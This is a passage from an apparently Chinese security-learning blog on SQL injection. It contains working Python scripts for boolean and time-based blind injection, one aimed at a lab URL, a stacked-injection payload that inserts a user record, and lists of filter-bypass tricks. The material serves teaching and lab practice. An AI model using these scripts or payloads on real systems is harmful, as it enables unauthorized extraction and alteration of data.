class="built_in">print</span>(flag)</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line"><span class="built_in">print</span>(flag)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查询数据库的所有表</span></span><br><span class="line"><span class="comment">#(select(group_concat(table_name))from(information_schema.tables)where(table_schema=&#x27;数据库名&#x27;))</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#爆字段</span></span><br><span class="line"><span class="comment">#(select(group_concat(column_name))from(information_schema.columns)where(table_name=&#x27;表名&#x27;))</span></span><br></pre></td></tr></table></figure></div><p>Liki4 学长的 exp：</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> mysqli_invisible_bool <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"><span class="keyword">import</span> io</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">escape_string</span>(<span class="params">c</span>):</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&quot;\\&quot;</span> + c <span class="keyword">if</span> c <span class="keyword">in</span> <span class="string">&quot;.+*&quot;</span> <span class="keyword">else</span> c</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">exp</span>():</span><br><span class="line">    payload_template = <span class="string">&quot;Liki4&#x27; AND if(&#123;exp&#125;,1,0);#&quot;</span></span><br><span class="line">    space = string.ascii_letters + string.digits + <span class="string">&#x27; _:,$.&#x27;</span></span><br><span class="line"></span><br><span class="line">    exp_template = <span class="string">&quot;@@version RLIKE &#x27;^&#123;c&#125;&#x27;&quot;</span></span><br><span class="line">    exp_template = <span class="string">&quot;DATABASE() RLIKE &#x27;^&#123;c&#125;&#x27;&quot;</span> <span class="comment"># 查数据库名</span></span><br><span class="line">    exp_template = <span class="string">&quot;(SELECT GROUP_CONCAT(table_name, &#x27;:&#x27;, column_name) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = DATABASE()) RLIKE &#x27;^&#123;c&#125;&#x27;&quot;</span> <span class="comment"># 获取表名与字段名</span></span><br><span class="line">    exp_template = <span class="string">&quot;(SELECT binary GROUP_CONCAT(secret_string) FROM secret) RLIKE &#x27;^&#123;c&#125;&#x27;&quot;</span> <span class="comment"># 获取存储的数据</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">print</span>(exp_template)</span><br><span class="line"></span><br><span class="line">    Flag = <span class="literal">True</span></span><br><span class="line"></span><br><span class="line">    data = <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">while</span> Flag:</span><br><span class="line">        ori_stdout = sys.stdout</span><br><span class="line">        <span class="keyword">for</span> c <span class="keyword">in</span> space:</span><br><span class="line">            payload = payload_template.<span class="built_in">format</span>(exp=exp_template.<span class="built_in">format</span>(c=data+c))</span><br><span class="line">            sys.stdin = io.StringIO(payload + <span class="string">&#x27;\n123\n&#x27;</span>)</span><br><span class="line">            res = sys.stdout = io.StringIO()</span><br><span class="line">            main()</span><br><span class="line">            output = <span class="built_in">str</span>(res.getvalue())</span><br><span class="line">            <span class="keyword">if</span> <span class="string">&quot;failed&quot;</span> <span class="keyword">in</span> output:</span><br><span class="line">                <span class="keyword">continue</span></span><br><span class="line">            <span class="keyword">if</span> c == <span class="string">&quot;$&quot;</span>:</span><br><span class="line">                Flag = <span class="literal">False</span></span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">            <span class="keyword">if</span> <span class="string">&quot;success&quot;</span> <span class="keyword">in</span> output:</span><br><span class="line">                data += c</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">        sys.stdout = ori_stdout</span><br><span class="line">        <span class="keyword">if</span> Flag:</span><br><span class="line">            <span class="built_in">print</span>(data, end=<span class="string">&quot;\r&quot;</span>)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="built_in">print</span>(data)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    exp()</span><br></pre></td></tr></table></figure></div><h3 id="时间盲注"><a class="markdownIt-Anchor" href="#时间盲注">#</a> 时间盲注</h3><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"></span><br><span class="line">url = <span class="string">&quot;http://10.16.53.180/newsqli/Less-9/&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">timeOut</span>(<span class="params">url</span>):</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        res = requests.get(url, timeout=<span class="number">3</span>)</span><br><span class="line">        <span class="keyword">return</span>(res.text)</span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        <span class="keyword">return</span>(<span class="string">&quot;timeout&quot;</span>)</span><br><span class="line"></span><br><span class="line">daNnamelen = <span class="number">0</span></span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">    daNnamelen +=<span class="number">1</span></span><br><span class="line">    dbNameLen_url = url + <span class="string">&quot;?id=1&#x27;+and+if(length(database())=&quot;</span>+<span class="built_in">str</span>(daNnamelen)+<span class="string">&quot;,sleep(5),1)--+&quot;</span></span><br><span class="line">    <span class="built_in">print</span>(dbNameLen_url)</span><br><span class="line">    <span class="keyword">if</span> <span class="string">&quot;timeout&quot;</span> <span class="keyword">in</span> timeOut(dbNameLen_url):</span><br><span class="line">        <span class="built_in">print</span>(daNnamelen)</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line">    <span class="keyword">if</span> daNnamelen == <span class="number">30</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;error!&quot;</span>)</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line">dbName = <span class="string">&quot;&quot;</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">9</span>):</span><br><span class="line">    <span class="keyword">for</span> a <span class="keyword">in</span> string.ascii_lowercase:</span><br><span class="line">        dbName_url = url + <span class="string">&quot;?id=1&#x27;+and+if(substr(database(),&quot;</span>+<span class="built_in">str</span>(i)+<span class="string">&quot;,1)=&#x27;&quot;</span>+a+<span class="string">&quot;&#x27;,sleep(5),1)--+&quot;</span></span><br><span class="line">        <span class="built_in">print</span>(dbName_url)</span><br><span class="line">        <span class="keyword">if</span> <span class="string">&quot;timeout&quot;</span> <span class="keyword">in</span> timeOut(dbName_url):</span><br><span class="line">            dbName += a</span><br><span class="line">            <span class="built_in">print</span>(dbName)</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;下面是代码的详细解释：</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">导入所需的库：</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">requests：用于发送 HTTP 请求。</span></span><br><span class="line"><span class="string">string：包含常用的字符串常量，如 ASCII 字母表。</span></span><br><span class="line"><span class="string">设置目标 URL：</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">url：这是目标网站的 URL，其中包含一个 SQL 注入漏洞。</span></span><br><span class="line"><span class="string">定义 timeOut 函数：</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">这个函数尝试向给定的 URL 发送 GET 请求，并设置一个 3 秒的超时时间。</span></span><br><span class="line"><span class="string">如果请求成功，它会返回响应的文本内容。</span></span><br><span class="line"><span class="string">如果请求超时或发生其他异常，它会返回字符串 &quot;timeout&quot;。</span></span><br><span class="line"><span class="string">确定数据库名称的长度：</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">daNnamelen：用于跟踪数据库名称的长度。</span></span><br><span class="line"><span class="string">在 while 循环中，脚本尝试向 URL 插入一个 SQL 语句，该语句会检查数据库名称的长度是否等于 daNnamelen。如果是，它会触发一个 5 秒的延迟（通过 sleep(5)）。</span></span><br><span class="line"><span class="string">如果 timeOut 函数返回 &quot;timeout&quot;，那么脚本就知道它已经找到了正确的长度，并打印出来。</span></span><br><span class="line"><span class="string">如果尝试超过 30 次还没有找到正确的长度，脚本会打印 &quot;error!&quot; 并退出循环。</span></span><br><span class="line"><span class="string">确定数据库名称：</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">dbName：用于存储数据库名称。</span></span><br><span class="line"><span class="string">使用两个嵌套的 for 循环，脚本尝试确定数据库名称的每个字符。</span></span><br><span class="line"><span class="string">对于每个位置（由 i 指定），它尝试所有可能的 ASCII 小写字母（由 a 指定）。</span></span><br><span class="line"><span class="string">如果某个字符导致 timeOut 函数返回 &quot;timeout&quot;，那么脚本就知道它找到了正确的字符，并将其添加到 dbName 中。</span></span><br><span class="line"><span class="string">当所有字符都被确定后，数据库名称就被完全揭示出来。&#x27;&#x27;&#x27;</span></span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> mysqli_invisible_time <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"><span class="keyword">import</span> io</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> signal</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">handler</span>(<span class="params">signum, frame</span>):</span><br><span class="line">    <span class="keyword">raise</span> Exception(<span class="string">&quot;timeout&quot;</span>)</span><br><span class="line"></span><br><span class="line">signal.signal(signal.SIGALRM, handler)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">escape_string</span>(<span class="params">c</span>):</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&quot;\\&quot;</span> + c <span class="keyword">if</span> c <span class="keyword">in</span> <span class="string">&quot;.+*&quot;</span> <span class="keyword">else</span> c</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">exp</span>():</span><br><span class="line">    payload_template = <span class="string">&quot;Liki4&#x27; AND if(&#123;exp&#125;,SLEEP(1),0);#&quot;</span></span><br><span class="line">    space = string.ascii_letters + string.digits + <span class="string">&#x27; _:,$.&#x27;</span></span><br><span class="line"></span><br><span class="line">    exp_template = <span class="string">&quot;@@version RLIKE &#x27;^&#123;c&#125;&#x27;&quot;</span></span><br><span class="line">    exp_template = <span class="string">&quot;DATABASE() RLIKE &#x27;^&#123;c&#125;&#x27;&quot;</span></span><br><span class="line">    exp_template = <span class="string">&quot;(SELECT GROUP_CONCAT(table_name, &#x27;:&#x27;, column_name) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = DATABASE()) RLIKE &#x27;^&#123;c&#125;&#x27;&quot;</span></span><br><span class="line">    exp_template = <span class="string">&quot;(SELECT binary GROUP_CONCAT(secret_string) FROM secret) RLIKE &#x27;^&#123;c&#125;&#x27;&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">print</span>(exp_template)</span><br><span class="line"></span><br><span class="line">    Flag = <span class="literal">True</span></span><br><span class="line"></span><br><span class="line">    data = <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">while</span> Flag:</span><br><span class="line">        ori_stdout = sys.stdout</span><br><span class="line">        <span class="keyword">for</span> c <span class="keyword">in</span> space:</span><br><span class="line">            payload = payload_template.<span class="built_in">format</span>(exp=exp_template.<span class="built_in">format</span>(c=data+c))</span><br><span class="line">            sys.stdin = io.StringIO(payload + <span class="string">&#x27;\n555_i_dont_know_password&#x27;</span>)</span><br><span class="line">            res = sys.stdout = io.StringIO()</span><br><span class="line"></span><br><span class="line">            signal.alarm(<span class="number">1</span>)</span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                main()</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">&quot;timeout&quot;</span>)</span><br><span class="line">            <span class="keyword">except</span>:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">&quot;bingooo&quot;</span>)</span><br><span class="line">            </span><br><span class="line">            output = <span class="built_in">str</span>(res.getvalue())</span><br><span class="line">            <span class="keyword">if</span> <span class="string">&quot;timeout&quot;</span> <span class="keyword">in</span> output:</span><br><span class="line">                <span class="keyword">continue</span></span><br><span class="line">            <span class="keyword">if</span> c == <span class="string">&quot;$&quot;</span>:</span><br><span class="line">                Flag = <span class="literal">False</span></span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">            <span class="keyword">if</span> <span class="string">&quot;bingooo&quot;</span> <span class="keyword">in</span> output:</span><br><span class="line">                data += c</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">        sys.stdout = ori_stdout</span><br><span class="line">        <span class="keyword">if</span> Flag:</span><br><span class="line">            <span class="built_in">print</span>(data, end=<span class="string">&quot;\r&quot;</span>)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="built_in">print</span>(data)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    exp()</span><br></pre></td></tr></table></figure></div><h3 id="报错注入"><a class="markdownIt-Anchor" href="#报错注入">#</a> 报错注入</h3><p><a class="link" href="https://www.cnblogs.com/c1047509362/p/12806297.html">SQL 注入之报错注入 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h3 id="堆叠注入"><a class="markdownIt-Anchor" href="#堆叠注入">#</a> 堆叠注入</h3><p>当注入点使用的执行函数允许<strong>一次性执行多个 SQL 语句</strong>的时候，例如 PHP 中的  <code>multi_query</code> ，堆叠注入即存在。堆叠注入相较于其他方式，利用的手法更加自由，不局限于原来的 SELECT 语句，而可以拓展到 INSERT、SHOW、SET、UPDATE 语句等。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Liki4&#x27;;INSERT INTO users VALUES (&#x27;Liki3&#x27;,&#x27;01848f8e70090495a136698a41c5b37406968c648ab12133e0f256b2364b5bb5&#x27;);#</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202406182116826.png" alt="img"></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202406182117897.png" alt="img"></p><p>INSERT 语句也被成功执行了，向数据库中插入了 Liki3 的数据</p><h3 id="二次注入"><a class="markdownIt-Anchor" href="#二次注入">#</a> 二次注入</h3><p>二次注入的原理与前面所有的注入方式一致，仅仅在于触发点不同。</p><p>在某些 Web 应用中，注册时对用户的输入做了良好的预处理，但在后续使用的过程中存在未做处理的注入点，此时即可能造成二次注入</p><p>常见的场景，例如某平台在用户注册时无法进行 SQL 注入利用，但在登陆后的用户个人信息界面进行数据查询时存在可利用的注入点。</p><p>那么我们在注册的时候即便无法当即触发 SQL 注入，但可以将恶意 payload 暂时写入到数据库中，这样一来当我们访问个人信息界面查询这个恶意 payload 的时候即会在可利用的注入点触发 SQL 注入。</p><h2 id="sql-注入常见的过滤绕过方式"><a class="markdownIt-Anchor" href="#sql-注入常见的过滤绕过方式">#</a> SQL 注入常见的过滤绕过方式</h2><h3 id="空格被过滤"><a class="markdownIt-Anchor" href="#空格被过滤">#</a> 空格被过滤</h3><ol><li><code>/*xxx*/</code>  MySQL 行内注释<ol><li><code>SELECT/*1*/username,password/*1*/FROM/*1*/users;</code></li></ol></li><li><code>()</code><ol><li><code>SELECT(username),(password)FROM(users);</code></li></ol></li><li><code>%20 %09 %0a %0b %0c %0d %a0 %00</code>  等不可见字符</li></ol><h3 id="引号被过滤"><a class="markdownIt-Anchor" href="#引号被过滤">#</a> 引号被过滤</h3><ol><li>十六进制代替字符串<ol><li><code>SELECT username, password FROM users WHERE username=0x4c696b6934</code></li></ol></li></ol><h3 id="逗号被过滤"><a class="markdownIt-Anchor" href="#逗号被过滤">#</a> 逗号被过滤</h3><ol><li><code>from for</code></li></ol><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">select substr(database(),1,1);</span><br><span class="line">select substr(database() from 1 for 1);</span><br><span class="line">select mid(database() from 1 for 1);</span><br></pre></td></tr></table></figure></div><ol><li><code>join</code></li></ol><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">select 1,2</span><br><span class="line">select * from (select 1)a join (select 2)b</span><br></pre></td></tr></table></figure></div><ol><li><code>like/rlike</code></li></ol><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">select ascii(mid(user(),1,1))=80</span><br><span class="line">select user() like &#x27;r%&#x27;</span><br></pre></td></tr></table></figure></div><ol><li><code>offset</code></li></ol><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">select * from news limit 0,1</span><br><span class="line">select * from news limit 1 offset 0</span><br></pre></td></tr></table></figure></div><h3 id="比较符号-被过滤"><a class="markdownIt-Anchor" href="#比较符号-被过滤">#</a> 比较符号  <code>(&lt;=&gt;)</code>  被过滤</h3><ol><li><code>=</code>  用  <code>like, rlike, regexp</code>  代替</li></ol><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">select * from users where name like &#x27;Liki4&#x27;</span><br><span class="line">select * from users where name rlike &#x27;Liki4&#x27;</span><br><span class="line">select * from users where name regexp &#x27;Liki4&#x27;</span><br></pre></td></tr></table></figure></div><ol><li><code>&lt;&gt;</code>  用  <code>greatest()、least()</code></li></ol><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">select * from users where id=1 and ascii(substr(database(),0,1))&gt;64</span><br><span class="line">select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64</span><br></pre></td></tr></table></figure></div><ol><li><code>between</code></li></ol><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">select * from users where id between 1 and 1;</span><br></pre></td></tr></table></figure></div><h3 id="or-and-xor-not-被过滤"><a class="markdownIt-Anchor" href="#or-and-xor-not-被过滤">#</a>  <code>or and xor not</code>  被过滤</h3><ol><li><code>and = &amp;&amp;</code></li><li><code>or = ||</code></li><li><code>xor = |</code></li><li><code>not = !</code></li></ol><h3 id="information_schema-被过滤"><a class="markdownIt-Anchor" href="#information_schema-被过滤">#</a> information_schema 被过滤</h3><p>在 SQL 注入中， <code>infromation_schema</code>  库的作用无非就是可以获取到  <code>table_schema, table_name, column_name</code>  这些数据库内的信息。</p><h3 id="常用函数被过滤"><a class="markdownIt-Anchor" href="#常用函数被过滤">#</a> 常用函数被过滤</h3><ol><li><code>hex()、bin() = ascii()</code></li><li><code>sleep() = benchmark()</code></li><li><code>concat_ws() = group_concat()</code></li><li><code>mid()、substr() = substring()</code></li><li><code>@@user = user()</code></li><li><code>@@datadir = datadir()</code></li></ol><h4 id="mysql-56-的新特性"><a class="markdownIt-Anchor" href="#mysql-56-的新特性">#</a> MySQL 5.6 的新特性</h4><p>在 MySQL 5.5.x 之后的版本，MySQL 开始将 innoDB 引擎作为 MySQL 的默认引擎，因此从 MySQL 5.6.x 版本开始，MySQL 在数据库中添加了两张表， <code>innodb_index_stats</code>  和  <code>innodb_table_stats</code> ，两张表都会存储数据库和对应的数据表。</p><p>因此，从 MySQL 5.6.x 开始，有了取代  <code>information_schema</code>  的表名查询方式，如下所示</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">select table_name <span class="keyword">from</span> mysql.innodb_index_stats where database_name=database();</span><br><span class="line">select table_name <span class="keyword">from</span> mysql.innodb_table_stats where database_name=database();</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202406182159706.png" alt="img"></p><h4 id="mysql-57-的新特性"><a class="markdownIt-Anchor" href="#mysql-57-的新特性">#</a> MySQL 5.7 的新特性</h4><p>由于  <code>performance_schema</code>  过于发杂，所以 MySQL 在 5.7 版本中新增了  <code>Sys schema</code>  视图，基础数据来自于  <code>performance_chema</code>  和  <code>information_schema</code>  两个库。</p><p>而其中有这样一个视图， <code>schema_table_statistics_with_buffer,x$schema_table_statistics_with_buffer</code> ，我们可以翻阅官方文档对其的解释</p><blockquote><p>查询表的统计信息，其中还包括 InnoDB 缓冲池统计信息，默认情况下按照增删改查操作的总表 I/O 延迟时间（执行时间，即也可以理解为是存在最多表 I/O 争用的表）降序排序，数据来源：performance_schema.table_io_waits_summary_by_table、sys.x<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi><msub><mi>s</mi><mi>s</mi></msub><mi>c</mi><mi>h</mi><mi>e</mi><mi>m</mi><msub><mi>a</mi><mi>t</mi></msub><mi>a</mi><mi>b</mi><mi>l</mi><msub><mi>e</mi><mi>s</mi></msub><mi>t</mi><mi>a</mi><mi>t</mi><mi>i</mi><mi>s</mi><mi>t</mi><mi>i</mi><mi>c</mi><msub><mi>s</mi><mi>i</mi></msub><mi>o</mi><mtext>、</mtext><mi>s</mi><mi>y</mi><mi>s</mi><mi mathvariant="normal">.</mi><mi>x</mi></mrow><annotation encoding="application/x-tex">ps_schema_table_statistics_io、sys.x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">p</span><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.151392em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">s</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal">c</span><span class="mord mathnormal">h</span><span class="mord mathnormal">e</span><span class="mord mathnormal">m</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2805559999999999em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">t</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal">a</span><span class="mord mathnormal">b</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord"><span class="mord mathnormal">e</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.151392em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">s</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal">t</span><span class="mord mathnormal">a</span><span class="mord mathnormal">t</span><span class="mord mathnormal">i</span><span class="mord mathnormal">s</span><span class="mord mathnormal">t</span><span class="mord mathnormal">i</span><span class="mord mathnormal">c</span><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal">o</span><span class="mord cjk_fallback">、</span><span class="mord mathnormal">s</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mord mathnormal">s</span><span class="mord">.</span><span class="mord mathnormal">x</span></span></span></span>innodb_buffer_stats_by_table</p></blockquote><p>其中就包含了存储数据库和对应的数据表，于是就有了如下的表名查询方式</p><div class="highlight-container" data-rel="Sql"><figure class="iseeu highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">select</span> table_name <span class="keyword">from</span> sys.schema_table_statistics_with_buffer <span class="keyword">where</span> table_schema<span class="operator">=</span>database();</span><br><span class="line"><span class="keyword">select</span> table_name <span class="keyword">from</span> sys.x$schema_table_statistics_with_buffer <span class="keyword">where</span> table_schema<span class="operator">=</span>database();</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202406182200024.png" alt="img"></p><h3 id="无列名注入"><a class="markdownIt-Anchor" href="#无列名注入">#</a> 无列名注入</h3><p>在因为  <code>information_schema</code>  